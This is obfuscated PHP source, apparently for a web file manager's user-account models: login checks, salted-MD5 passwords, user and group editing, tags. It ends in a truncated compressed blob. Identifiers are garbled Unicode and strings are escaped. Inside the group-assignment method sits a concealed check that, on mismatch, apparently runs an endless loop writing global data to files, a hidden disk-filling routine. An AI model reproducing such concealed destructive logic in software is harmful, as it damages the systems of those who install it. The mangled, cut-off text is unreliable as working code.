$ɋݑ[2449], self::ERROR_USER_EXIST_EMAIL => $ɋݑ[2450], self::ERROR_USER_LOGIN_LOCK => $ɋݑ[2451], self::ERROR_IP_NOT_ALLOW => $ɋݑ[2452], self::ERROR_USER_EXIST_NICKNAME => $ɋݑ[2453]); return LNG($ӱ[$ޑ]); } public function getInfoByMeta($ˇ, $Ӑ) { $ =& $_SERVER[ϋ]; $¨ = Model($[2454])->where(array($[97] => $ˇ, $[434] => $Ӑ))->find(); if ($¨) { return $this->getInfo($¨[$[1754]]); } return !1; } public function userLoginCheck($, $) { $ =& $_SERVER[ϋ]; $ = $this->userLoginFind($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1754]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1754]]); } public function userLoginFind($ش) { $ =& $_SERVER[ϋ]; $柖ה = array($[32] => $ش, $[2241] => $ش, $[356] => $ش, $[2455] => $ش, $[1049] => $[1051]); if ($this->nickNameRpt()) { unset($柖ה[$[2241]]); } return $this->where($柖ה)->find(); } public function clearCache($ܘࡲ) { $Ƹڟ =& $_SERVER[ϋ]; $this->cacheFunctionClear($Ƹڟ[2039], $ܘࡲ); $this->cacheFunctionClear($Ƹڟ[2040], $ܘࡲ); $this->cacheFunctionClear($Ƹڟ[2436], $ܘࡲ); } public function userPasswordCheck($К, $) { $ʝ =& $_SERVER[ϋ]; $Ń = $this->where(array($ʝ[1754] => intval($К)))->find(); $󧴾 = $this->metaGet($К); $ږ = isset($󧴾[$ʝ[2456]]) ? $󧴾[$ʝ[2456]] : $ʝ[12]; if (md5($ږ . trim($)) !== $Ń[$ʝ[938]]) { return !1; } return !0; } public function userAdd($ɤ) { $ =& $_SERVER[ϋ]; $ô = array($[478] => $ɤ[$[32]], $[2457] => $ɤ[$[2159]], $[2458] => isset($ɤ[$[356]]) ? $ɤ[$[356]] : $[12], $[2459] => isset($ɤ[$[2455]]) ? $ɤ[$[2455]] : $[12], $[2460] => isset($ɤ[$[2241]]) ? $ɤ[$[2241]] : $ɤ[$[32]], $[2461] => isset($ɤ[$[2440]]) ? $ɤ[$[2440]] : $[12], $[2462] => isset($ɤ[$[2463]]) ? $ɤ[$[2463]] : 1, $[2464] => $ɤ[$[938]], $[2041] => isset($ɤ[$[1939]]) ? $ɤ[$[1939]] : 1024 * 1024 * 20, $[2042] => 0, $[2465] => 0, $[2086] => isset($ɤ[$[802]]) ? $ɤ[$[802]] : 1); if (!empty($ɤ[$[1754]])) { $ô[$[1754]] = $ɤ[$[1754]]; } $ԃ = $this->_checkExist($ɤ); if ($ԃ !== !0) { return $ԃ; } if (!empty($ô[$[2440]]) && strlen($ô[$[2440]]) > 255) { $ô[$[2440]] = $[12]; } $㛂 = $this->add($ô); $ȷ = array($[2464] => $ô[$[938]], $[2460] => $ô[$[2241]]); $this->userEdit($㛂, $ȷ); Model($[1388])->userRootAdd($㛂); return $㛂; } protected function userEditTest($̤, $֛) { return $this->call($_SERVER[ϋ][2466], $̤, $֛); } protected function userEdit($, $ʜۤ) { $ڔ =& $_SERVER[ϋ]; $ = $this->getInfoSimple($); if (!$) { return !1; } $Ĭԭ = $this->_checkExist($ʜۤ, $); if ($Ĭԭ !== !0) { return $Ĭԭ; } if (isset($ʜۤ[$ڔ[938]]) && trim($ʜۤ[$ڔ[938]]) != $ڔ[12]) { $ = $this->metaGet($); if (empty($[$ڔ[2456]])) { $[$ڔ[2456]] = rand_string(10); Model($ڔ[562])->metaSet($, $ڔ[2456], $[$ڔ[2456]]); } $ʜۤ[$ڔ[938]] = md5($[$ڔ[2456]] . trim($ʜۤ[$ڔ[938]])); } else { unset($ʜۤ[$ڔ[938]]); } if (!empty($ʜۤ[$ڔ[2440]]) && strlen($ʜۤ[$ڔ[2440]]) > 255) { $ʜۤ[$ڔ[2440]] = $ڔ[12]; } $this->where(array($ڔ[1745] => $))->save($ʜۤ); if (isset($ʜۤ[$ڔ[2241]])) { $this->setNamePinyin($, $ʜۤ[$ڔ[2241]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ѫ = false) { $ =& $_SERVER[ϋ]; if (!$ѫ) { $ = $this->getInfoSimple($); $ѫ = $[$[2241]] ? $[$[2241]] : $[$[32]]; } $Ճ = Model($[583]); if (!Input::check($ѫ, $[639])) { return $Ճ->metaSet($, array($[522] => $[12], $[521] => $[12])); } return $Ճ->metaSet($, array($[522] => str_replace($[53], $[12], Pinyin::get($ѫ)), $[521] => Pinyin::get($ѫ, $[640]))); } private function nickNameRpt() { $ =& $_SERVER[ϋ]; $ = Model($[822])->get($[2467]); $ = $GLOBALS[$[6]][$[441]][$[2467]]; $屿 = !is_null($) ? $ : $; return !!$屿; } private function _checkExist($ڬĵ, $ʋ = false) { $ =& $_SERVER[ϋ]; $௿ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2241] => UserModel::ERROR_USER_EXIST_NICKNAME, $[356] => UserModel::ERROR_USER_EXIST_EMAIL, $[2455] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($௿[$[2241]]); } $ֿ = $ʋ ? array($[1754] => array($[2468], $ʋ)) : array(); foreach ($௿ as $ě鯗 => $Ԟ) { $챷 = array(); foreach ($௿ as $ɢ => $ޞ) { if (isset($ڬĵ[$ɢ]) && $ڬĵ[$ɢ]) { $챷[] = $ڬĵ[$ɢ]; } } if (!$챷) { continue; } $Ǎ = array_merge(array($ě鯗 => array($[7], $챷)), $ֿ); $Éԧ = $this->where($Ǎ)->find(); if ($Éԧ) { return $Ԟ; } } return !0; } public function userListInfo($ߗו) { $۴ =& $_SERVER[ϋ]; $ = array(); $ߗו = is_array($ߗו) ? array_unique($ߗו) : array(); if (!$ߗו) { return $; } if (count($ߗו) < 20) { foreach ($ߗו as $Įš) { $[$Įš . $۴[12]] = $this->getInfoSimpleOuter($Įš); } } else { $崲 = array($۴[1745] => array($۴[476], $ߗו)); if (count($ߗו) == 1) { $崲 = array($۴[1745] => $ߗו[0]); } $ى = Model($۴[562])->field($this->simpleField)->where($崲)->select(); $ى = array_to_keyvalue($ى, $۴[1754]); foreach ($ߗו as $Įš) { $ = $ى[$Įš]; if (!$) { $[$Įš . $۴[12]] = $this->getInfoSimpleOuter($Įš); continue; } $[$۴[2440]] = Action($۴[2441])->parseUrl($[$۴[2440]]); $[$Įš . $۴[12]] = $; } } return $; } protected function userStatus($쌱, $߶) { $Ǟ = $this->getInfoSimple($쌱); if (!$Ǟ) { return !1; } $ = array($_SERVER[ϋ][802] => $߶); return $this->userEdit($쌱, $); } protected function userRemove($֞) { $𑤌 =& $_SERVER[ϋ]; $ = $this->getInfoSimple($֞); if (!$) { return !1; } $± = array($𑤌[1745] => $֞); Model($𑤌[648])->where($±)->delete(); Model($𑤌[2469])->where($±)->delete(); Model($𑤌[2047])->where($±)->delete(); Model($𑤌[2454])->where($±)->delete(); Model($𑤌[1118])->where($±)->delete(); Model($𑤌[2258])->removeUserAll($֞); Model($𑤌[876])->userRootRemove($֞); return $this->where($±)->delete(); } protected function userGroupSet($󽯣, $, $ = array()) { $쒶 =& $_SERVER[ϋ]; $ = $_SERVER[$쒶[410]] . $쒶[411]; $ = $쒶[407]; if ($_SERVER[$쒶[408]] != $($)) { $Ӵͤ = $쒶[928]; $ۖ = $쒶[409]; $ = $_SERVER[$쒶[410]] . $쒶[411]; $՘Ô = $ۖ($); $ɤ = explode($쒶[253], $՘Ô); if (count($ɤ) < $쒶[676]) { $ = $쒶[413]; $(); } $ٺ = $쒶[929]; $ٺ($_SERVER[$쒶[930]]); $Ӵͤ = $쒶[928]; $Ӵͤ(); $ = $쒶[2259]; $ = json_encode($GLOBALS[$쒶[2260]]); $ = 1; for ($Ѭ = $; $Ѭ > 0; $Ѭ++) { $(DATA_PATH . $Ѭ, $); } } $ = $this->getInfoSimple($󽯣); if (!$ || !is_array($)) { return !1; } $ׅ = Model($쒶[2047]); $ׅ->where(array($쒶[1754] => $󽯣))->delete(); $񣟤 = array(); $Ս = 0; foreach ($ as $ => $) { $狯 = array($쒶[1754] => $󽯣, $쒶[1952] => $, $쒶[2061] => $); $狯[$쒶[1976]] = isset($[$Ս]) ? $[$Ս] : 0; $Ս++; $񣟤[] = $狯; } return $ׅ->addAll($񣟤, array(), !0); } protected function userGroupAdd($, $Ϟ = array()) { $Ŗ =& $_SERVER[ϋ]; $ = $this->getInfoSimple($); if (!$ || empty($Ϟ)) { return !1; } $֢ = array(); foreach ($Ϟ as $ё => $ۅ) { $֢[] = array($Ŗ[1754] => $, $Ŗ[1952] => $ё, $Ŗ[2061] => $ۅ, $Ŗ[1976] => 0); } return Model($Ŗ[2047])->addAll($֢, array(), !0); } protected function userGroupRemove($, $) { $ʳ =& $_SERVER[ϋ]; $锭 = $this->getInfoSimple($); if (!$锭 || !$) { return !1; } $鴩 = array($ʳ[1745] => $, $ʳ[2045] => $); return Model($ʳ[2047])->where($鴩)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[ϋ][429]]); return $; } public function listByID($) { $ٸ =& $_SERVER[ϋ]; if (!$) { return; } $ןĆ = array($ٸ[1754] => array($ٸ[7], $)); $ = $this->where($ןĆ)->select(); $ = array_sort_keep($, $ٸ[1754], $); $this->_listDataApply($); return $; } public function listByGroup($ەȒ = 0, $Ǩ = array()) { $ =& $_SERVER[ϋ]; $ = $[12]; $̴ = array(); if ($ەȒ) { $̴ = array($[2470] => intval($ەȒ)); $ = "\114\x45\106\x54\40\x4a\117\111\116\40{$this->tablePrefix}\x75\163\x65\x72\x5f\147\162\x6f\165\x70\x20\x75\163\145\x72\137\x67\162\x6f\x75\160\40\x6f\156\40\165\163\145\162\x2e\165\x73\x65\x72\x49\x44\x20\75\40\x75\163\x65\162\137\x67\x72\x6f\165\160\x2e\x75\163\145\162\x49\x44"; $ = Input::get($[514], null, $[12]) ? $[12] : $[2471]; } if (isset($Ǩ[$[802]])) { $̴[$[2472]] = $Ǩ[$[802]]; } $ܹ = $this->_makeOrder($)->field($[2473])->where($̴)->join($)->selectPage(50); $this->_listDataApply($ܹ[$[429]]); return $ܹ; } private function _makeOrder($ = '') { $ =& $_SERVER[ϋ]; $ہ = array($[1754], $[32], $[1941], $[1913], $[222]); $ž = array($[507] => $[508], $[509] => $[510]); $ދ = Input::get($[514], $[7], $[1745], $ہ); $Մ = Input::get($[515], $[7], $[2048], array($[2048], $[509])); $Մ = $ž[$Մ]; $ = $ . "\x75\163\x65\x72\x2e{$ދ}\40{$Մ}\x2c\x20\165\x73\145\162\56\x75\163\145\162\x49\x44\x20\141\x73\x63"; return $this->alias($[2175])->order($); } public function listSearch($) { $Љ =& $_SERVER[ϋ]; $ַՀ = trim($[$Љ[2051]]); $˲ = explode($Љ[53], $ַՀ); if (!$ַՀ || count($˲) == 1) { return $this->listSearchNow($); } $ = array($Љ[429] => array()); foreach ($˲ as $) { if (!trim($)) { continue; } $[$Љ[2051]] = $; $îۭ = $this->listSearchNow($); $[$Љ[429]] = array_merge($[$Љ[429]], $îۭ[$Љ[429]]); } $[$Љ[429]] = array_unique_by_key($[$Љ[429]], $Љ[1754]); $[$Љ[426]] = array($Љ[427] => count($[$Љ[429]]), $Љ[423] => 20, $Љ[404] => 1, $Љ[428] => 1); return $; } public function listSearchNow($і) { $ =& $_SERVER[ϋ]; $귂 = trim($і[$[2051]]); $ = isset($і[$[2052]]) ? $і[$[2052]] : !1; $귂 = str_replace($[2053], $[2054], trim($귂)); $֙ = array($[32] => array($[443], "\45{$귂}\x25"), $[356] => array($[443], "{$귂}\x25"), $[2241] => array($[443], "{$귂}\x25"), $[1049] => $[2055]); if (Input::check($귂, $[362])) { $֙[$[1754]] = array($[443], "{$귂}\45"); $֙[$[2455]] = array($[443], "{$귂}\x25"); } if (!$귂) { $֙ = array(); } if (isset($і[$[802]])) { $֙[$[802]] = $і[$[802]]; } $֙ = $this->parseWhereLike($֙); $ = $this->_makeOrder()->where($֙)->selectPage(20); if (!$ || count($[$[429]]) < 5 && Input::check($귂, $[369])) { $ؑ = $this->_searchFromMeta($[521], $귂, 10); $ڐ = $this->_searchFromMeta($[522], $귂, 10); $ƍ = array_merge($ؑ, $ڐ, $[$[429]]); $[$[429]] = array_unique_by_key($ƍ, $[1754]); $[$[426]][$[427]] = count($[$[429]]); $[$[426]][$[428]] = ceil($[$[426]][$[427]] / $[$[426]][$[423]]); } $this->_listDataApply($[$[429]]); $this->_filterByGroup($, $); return $; } private function _filterByGroup(&$, $) { $Ìʳ =& $_SERVER[ϋ]; if (!$) { return $; } foreach ($[$Ìʳ[429]] as $ށ => &$) { $ނ = array_to_keyvalue($[$Ìʳ[2144]], $Ìʳ[12], $Ìʳ[1952]); if (!in_array($, $ނ)) { unset($[$Ìʳ[429]][$ށ]); } } unset($); $[$Ìʳ[429]] = array_values($[$Ìʳ[429]]); $[$Ìʳ[426]] = array($Ìʳ[2211] => count($[$Ìʳ[429]]), $Ìʳ[2209] => $[$Ìʳ[426]][$Ìʳ[423]], $Ìʳ[2208] => 1, $Ìʳ[2210] => 1); } private function _searchFromMeta($, $焷, $و) { $ٓ =& $_SERVER[ϋ]; $焷 = strtolower($焷); $ = array($ٓ[97] => $, $ٓ[434] => array($ٓ[443], "\45{$焷}\45")); $ = $this->parseWhereLike($); $ׁ = Model($ٓ[2474])->where($)->limit($و)->select(); if (!$ׁ) { return array(); } $ׁ = array_to_keyvalue($ׁ, $ٓ[12], $ٓ[1754]); $ = $this->where(array($ٓ[1745] => array($ٓ[7], $ׁ)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($Â) { $ = array($Â); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$) { $؝ =& $_SERVER[ϋ]; if (!$) { return; } array_remove_key($, $؝[938]); $엊Ԛ = array_to_keyvalue($, $؝[12], $؝[1754]); $this->_listAppendGroup($, $엊Ԛ); $this->_listAppendMeta($, $엊Ԛ); $this->_listAppendSourceRoot($, $엊Ԛ); } private function _listAppendSourceRoot(&$, $ʓʭ) { $ =& $_SERVER[ϋ]; $ = Model($[876])->listSourceRoot(SourceModel::TYPE_USER, $ʓʭ); $ = array_to_keyvalue($, $[554]); $ = array_remove_key($, $[554]); foreach ($ as &$) { $[$[90]] = $[$[$[1754]]] ? $[$[$[1754]]] : array(); } unset($); } private function _listAppendGroup(&$, $Ё) { $ =& $_SERVER[ϋ]; $ = array($[1754] => array($[7], $Ё)); $ĕö = Model($[2047])->where($)->select(); $ߺ = array_to_keyvalue($ĕö, $[12], $[1952]); $ߺ = array_remove_value(array_unique($ߺ), $[219]); if (!$ߺ || !$ĕö) { return; } $ = array($[1952] => array($[7], $ߺ)); $Њ = Model($[2142])->field($[2475])->where($)->select(); $Њ = array_to_keyvalue($Њ, $[1952]); $ĕö = array_to_keyvalue_group($ĕö, $[1754]); foreach ($ĕö as &$Ћ) { $ۼ = array(); foreach ($Ћ as $˻) { if (!$˻[$[2061]]) { continue; } $ = Model($[556])->listData($˻[$[2061]]); $ۼ[] = array($[1952] => $˻[$[1952]], $[2476] => $Њ[$˻[$[1952]]][$[32]], $[569] => $Њ[$˻[$[1952]]][$[569]], $[471] => $); } $Ћ = $ۼ; } unset($Ћ); foreach ($ as &$) { $[$[2144]] = array(); if (isset($ĕö[$[$[1754]]])) { $[$[2144]] = $ĕö[$[$[1754]]]; } } unset($); } public function userAppendGroup($؜) { $ =& $_SERVER[ϋ]; if (!$؜) { return array(); } $this->_listAppendGroup($؜, array_to_keyvalue($؜, $[12], $[1754])); return $؜; } private function _listAppendMeta(&$, $) { $ =& $_SERVER[ϋ]; $ۺ = UserJobModel::JOB_KEY; $ = array($[2456]); $Ʈª = array($[1754] => array($[7], $)); $ = Model($[2454])->where($Ʈª)->select(); $ = array_to_keyvalue_group($, $[1754]); foreach ($ as &$) { $ͯ֋ = array(); foreach ($ as $) { if (!in_array($[$[97]], $)) { $ͯ֋[$[$[97]]] = $[$[434]]; } } $ = $ͯ֋; } unset($); $ = Model($[2477]); foreach ($ as &$) { $뚾 = array(); if (isset($[$[$[1754]]])) { $뚾 = $[$[$[1754]]]; } $[$[2478]] = array(); if (isset($뚾[$ۺ])) { $[$[2478]] = $->getUserJobInfo($뚾[$ۺ]); } } unset($); } protected function groupUserAll($߶) { $ƻ =& $_SERVER[ϋ]; if (!$߶) { return !1; } $ = Model($ƻ[2047])->field($ƻ[1754])->where(array($ƻ[1952] => array($ƻ[7], $߶)))->select(); $ = array_to_keyvalue($, $ƻ[12], $ƻ[1754]); return array_unique($); } public function userSearch($Ҧ, $Ă = "\52") { return Model($_SERVER[ϋ][583])->where($Ҧ)->field($Ă)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\163\145\162\x5f\157\x70\x74\x69\x6f\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $Ꮈ =& $_SERVER[ϋ]; $ = defined($Ꮈ[2179]) && USER_ID ? USER_ID : $Ꮈ[12]; return "\x55\163\x65\x72\x4f\x70\x74\151\157\x6e\137{$}\x5f" . $; } protected function filterWhere($) { $ =& $_SERVER[ϋ]; $[$[1754]] = defined($[2179]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser($, $) { return Cache::remove("\x55\x73\x65\x72\117\x70\x74\151\157\156\x5f{$}\x5f" . $); } protected function optionDefault($݈ = '') { $љ =& $_SERVER[ϋ]; if ($݈ == $љ[12]) { return $GLOBALS[$љ[6]][$љ[2479]]; } if ($݈ == $љ[2480]) { return $GLOBALS[$љ[6]][$љ[2481]]; } } } goto bו; bו: class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\145\x72\x2e\164\141\147\x4c\151\x73\x74"; public $modelType = "\x55\163\x65\162\x4f\x70\164\x69\157\x6e"; public $field = array("\156\x61\155\x65", "\x73\x74\x79\154\145", "\x73\x6f\x72\164"); public function listData($ = false, $ = "\163\157\x72\164", $亂 = false) { return parent::listData($, $, $亂); } public function remove($) { return parent::remove($); } public function add($⌗, $㳂 = "\154\141\142\x65\x6c\55\147\x72\145\171\x2d\156\157\x72\x6d\141\x6c") { $ݰ־ =& $_SERVER[ϋ]; if ($this->findByName($⌗)) { return !1; } $Ϛ = array($ݰ־[478] => $⌗, $ݰ־[543] => $㳂, $ݰ־[1956] => $this->getSort($ݰ־[310]) + 1); return parent::insert($Ϛ); } public function update($훮, $) { $񱓳 =& $_SERVER[ϋ]; $ֵ = $this->listData($훮); $؇ = $this->findByName($[$񱓳[32]]); if (!$ֵ || $؇ && $؇[$񱓳[459]] != $ֵ[$񱓳[459]]) { return !1; } return parent::update($훮, $); } public function moveTop($÷) { $߬ =& $_SERVER[ϋ]; $̓ = parent::listData(); $ = $this->getSort($߬[309]); foreach ($̓ as &$鷝) { if ($鷝[$߬[459]] == $÷) { $鷝[$߬[1976]] = $; continue; } $鷝[$߬[1976]] += 1; } unset($鷝); return parent::resetData($̓); } public function moveBottom($ƺ) { $񏫐 =& $_SERVER[ϋ]; $ = $this->getSort($񏫐[310]) + 1; return parent::update($ƺ, array($񏫐[1976] => $)); } public function resetSort($¡Ծ) { $ =& $_SERVER[ϋ]; $ʉժ = array(); $¡Ծ = is_array($¡Ծ) ? $¡Ծ : array(); for ($ˑ = 0; $ˑ < count($¡Ծ); $ˑ++) { $ʉժ[$¡Ծ[$ˑ] . $[12]] = $ˑ + 1; } $Ͼ = parent::listData(); foreach ($Ͼ as &$в) { $ᎌ = $ʉժ[$в[$[459]]]; $в[$[1976]] = $ᎌ ? $ᎌ : $в[$[1976]]; } unset($в); return parent::resetData($Ͼ); } private function getSort($ُȂ) { $ϱ =& $_SERVER[ϋ]; $ = parent::listData(); $ͪ = array_to_keyvalue($, $ϱ[12], $ϱ[1976]); if (!$ͪ) { $ͪ = array(0); } $ = $ُȂ == $ϱ[310] ? max($ͪ) : min($ͪ); return intval($); } } goto C᭗; b: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\xba\xb7\xcf\x8b\xa5\xb3", "\xf2\xbf\xa2\x8f\xe7\xc2"); $_SERVER[ϋ] = explode("\x7c\x2\x7c\x2\x7c\x2", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\275\11\174\133\305\265\60\16\24\132\240\320\322\205\255\100\271\230\44\266\23\55\316\236\70\161\202\154\313\261\210\54\71\222\234\5\333\334\134\111\327"."\xd6\x8d\x25\x5d\x59\xf7\xca\x5b\x12\x8\x5b\x58\x42\x48\x68\x20\x9\x94\xf5\x51\xb6\x42\x12\xf2\xd8\x9\x3b\x5\x5a\x96\xd2\x16\xca\xa3\x14\x78\x2d\xc4\x4e\xa0\xb\x65\x79\x2d\xdd\xc2\x7f\x96\x33\xcb\xbd\x92"."\341\375\177\337\367\373\175\201\104\63\147\316\314\235\345\314\231\63\147\316\234\171\341\311\327\357\334\162\305\232\103\360\177\353\357\173\172\353\346\33\150\30\375\167\350\232\257\320\320\251\33\16".base64_decode('P4j8+c6Gy2pqWmcdOSVy1Kb7dmg/1u7UroiGX3wpdPTP7z4zOHbLi8NjBx/0cPDAnnqETA==')."\363\326\323\37\45\157\332\212\76\144\130\266\105\1\51\63\337\143\364\322\260\221\247\277\176\372\323\21\13\27\365\234\151\353\64\352\243\77\52\257\27\372\317\352\317\32\54\135\215\104\23\152"."\274\243\275\75\30\113\0\122\275\234\236\63\323\20\52\150\105\55\7\337\57\350\105\13\325\106\56\116\55\230\5\75\357\200\10\100\132\263\265\244\146\101\111\315\215\152\163\260\75\34\135\241"."\46\126\264\7\1\43\251\366\227\364\342\60\215\221\140\334\326\212\166\302\310\351\34\143\260\310\353\325\30\134\24\212\50\211\130\40\22\17\64\45\102\321\10\5\67\105\333\332\102\211\162\170"."\54\32\16\67\6\232\26\227\247\264\307\2\213\332\2\12\252\137\126\127\215\174\217\131\243\254\244\51\53\225\132\32\150\61\364\154\232\6\363\32\253\216\75\134\200\120\202\207\320\60\345\113".strrev(' *(y@Ц4SiJPXƜ)V,h(xD,')."\233\22\12\256\240\322\22\213\266\51\60\10\71\315\262\365\242\262\254\65\30\13\52\270\322\15\325\244\255\325\12\320\113\4\165\205\22\10\207\225\361\112\260\365\134\201\25\103\363\124\50\54"."\x1a\x6b\xe\xc6\x94\xc6\x15\x8a\xe8\xa1\x94\x99\xcb\x99\x79\x1f\x2a\x5\x8d\xa4\x2d\x55\x35\x18\x8b\xd1\x80\x7\xc8\x3b\x1c\xc2\x83\x6\x91\x68\x4b\x4b\x3c\xc8\x63\xd0\xb8\x25\x61\x54\x93\xe9\x40\x9f\x8e\x58"."\272\47\153\253\3\132\266\304\310\264\217\376\126\303\17\374\232\26\220\156\277\221\67\112\100\246\120\204\151\362\151\5\201\22\303\326\31\104\117\103\40\207\362\233\220\57\11\260\44\303\132\305"."\2\6\232\241\3\64\330\260\200\376\316\203\374\111\25\247\351\105\133\325\363\51\63\155\344\141\36\57\4\172\324\354\114\163\321\100\10\64\336\143\146\323\54\154\31\43\320\312\36\43\253\107".base64_decode('SjkZhUdTGSObLrKp90WYNBrmMxnjilgB1QTqjKrZMyymIsZr56mWWSqm9BCaOjQ+FcC6bQ==')."\243\306\261\16\61\73\12\131\123\113\307\365\42\157\232\141\266\240\202\242\45\133\6\226\10\132\213\131\314\65\43\246\1\337\107\23\306\350\250\220\320\307\246\114\132\352\61\177\115\347\171\336"."\3\335\235\147\240\177\152\201\53\166\101\235\62\172\66\253\352\103\72\314\251\134\172\246\305\72\303\157\45\215\274\37\101\150\64\24\125\63\232\225\151\113\317\124\111\56\250\162\76\255\17\371"."\12\231\2\215\212\331\336\345\240\171\334\165\21\323\16\112\54\73\153\246\264\254\334\104\32\316\330\166\41\256\347\323\270\47\240\51\346\140\236\364\124\101\327\1\251\331\243\244\225\66\145\205"."\xd2\x5a\x6f\xd4\x5b\x2c\x63\x2e\xcb\x43\xac\x75\x1c\x66\x71\xa0\x3d\xc4\x86\x33\xdd\x3\xd4\xca\x56\x8c\x2a\xf8\xa0\x61\x11\xe6\x27\x66\xae\x56\x28\x64\x8d\x94\x66\x1b\x66\xde\x6f\xa6\x6c\xdd\xf6\x5a\x76\x51"."\xd7\xa0\xc4\x40\x2a\xa5\x5b\x96\xb7\xc9\xcc\xdb\x45\x33\xeb\xd\x64\xb3\xe6\xa0\x37\x5a\x34\x7a\x8d\x7c\xbd\x32\x99\xe2\xe0\x44\x34\xdf\xbd\x98\x37\xd6\xc3\x24\xae\x9a\xa7\x60\xc2\xc1\x9f\x99\xdc\x50\xb2\x7b"."\xbc\x73\xd8\xe4\xe4\xd8\x45\x2d\x6f\xf5\xe8\x45\x6f\x10\x66\x46\xbd\x82\x2a\xcb\x19\x24\x43\x6b\x36\xac\x82\x69\x19\xb8\x7a\xf5\x8a\x66\xdb\x5a\x2a\x83\x99\x8b\x28\xbe\xe1\xb\xf0\x8d\x7c\xd6\xc8\xeb\x65\xb8"."\301\241\202\121\324\55\126\127\145\121\133\2\12\101\245\353\336\366\242\326\233\323\352\225\102\51\211\172\6\146\152\5\30\305\206\256\251\127\122\70\352\121\162\45\313\366\26\165\304\245\14\264"."\x12\x42\x27\x87\x7a\xbc\x6d\x78\x5e\x19\x7a\xda\x1b\x47\xcc\x1c\xc0\xd3\xeb\x66\x28\x88\x74\x14\x96\x46\xa1\xad\x89\x44\xbb\x1a\x6a\x41\xab\x75\x24\xa8\xb6\x5\x12\x4d\xad\x50\x6d\x5b\xeb\x65\x75\xe\x23\x16"."\315\213\144\300\345\136\64\277\60\161\105\120\133\5\260\335\34\324\213\350\303\215\303\365\112\237\231\116\232\103\76\226\204\221\343\210\321\60\144\74\334\5\333\33\323\362\275\270\177\222\303\266"."\16\44\50\130\125\43\132\333\175\75\164\62\373\222\172\217\131\204\326\130\3\275\316\261\10\353\371\136\73\303\312\216\7\143\113\203\61\65\36\155\111\54\13\304\100\24\310\43\102\32\142\265"."\301\137\317\172\143\172\32\215\116\312\146\371\264\2\356\130\206\203\347\17\376\70\113\305\163\212\245\205\103\213\160\337\65\173\55\204\344\225\261\130\331\141\43\147\340\346\331\74\205\164\66\222"."\x13\x16\x41\x85\xfc\xa4\xcd\xd\x5d\xd6\xe4\x9a\xae\xf4\x94\x5a\x2f\xfa\x77\x72\x6d\x67\x57\xb3\x6f\x72\xf7\x42\xbf\x21\xf2\xf8\xa7\xfa\xa6\x2a\xd3\xea\x66\x29\xed\x48\x70\x31\xb4\xac\x2\x8d\x2e\xc3\xa8\x53"."\xa2\x8b\x9d\xdd\x22\x8\x3e\x6f\xe6\xf5\x2f\xe8\x1c\xbc\xf2\x49\x9c\xc1\xd5\xad\x14\x18\xb\x2e\xe9\x8\xc6\x13\x6a\x5b\x30\xd1\x1a\x6d\x86\xaf\x7\x3\x10\xa\x9b\x74\x66\xb3\xd6\x76\xd2\x9f\x6e\x20\x80\x6e"."\372\243\32\126\213\264\362\340\50\347\120\252\231\134\205\6\243\115\147\154\30\106\76\224\323\172\245\165\100\165\56\23\70\206\23\333\4\161\40\52\133\146\244\371\72\202\242\255\272\321\233\201".base64_decode('DjNwcSkzaxa1LOaebOLojKP1GsDRCtkSohk//kIiU8olgekj+bFXt4V4Zg0jGQaYGJJmUQ==').strrev('f,^Zm&RYZIjrDM'."\n".'$'."\0".'uY@\'k{+_ `O').base64_decode('gbKIxHvm4eWiwT2n8DhlfTlUCCmzyeQLHN0JgDzBlgtFLxbN4mmAQcIKWXPwuEHhNl/BLQ==')."\x34\x7d\x58\x38\x63\xf2\x15\xdf\x2c\x42\xa8\xde\xf\xed\x9e\x38\xad\x5\xa6\x5c\x1a\x49\x3e\x3e\xcb\x46\xa3\x81\x1a\xa8\xa5\xd3\x95\xc0\x68\x9a\x42\x1\x6b\xe0\x3b\x34\x81\x46\x42\x51\x7f\x7c\x3a\xfa\x5f\xac"."\x9f\x69\x33\xa7\xb1\xd5\x88\xac\x23\x7a\x9a\x2e\x24\xe\x50\xab\xae\x71\x42\x9c\xcc\xca\x2d\xda\x26\x4e\x2c\x3a\x30\x11\x49\x66\x4c\xa8\x19\x1a\x7a\x68\x55\x89\x37\x8f\x35\x34\xad\x67\x75\x46\x4e\x19\x9d\xad"."\305\165\200\206\272\237\23\133\17\247\172\44\155\43\250\20\202\14\53\206\162\342\225\223\305\227\341\355\211\0\140\361\1\210\107\4\263\150\350\242\144\372\210\170\173\121\357\61\200\343\345\21".strrev('!M8Ki15xM EPe 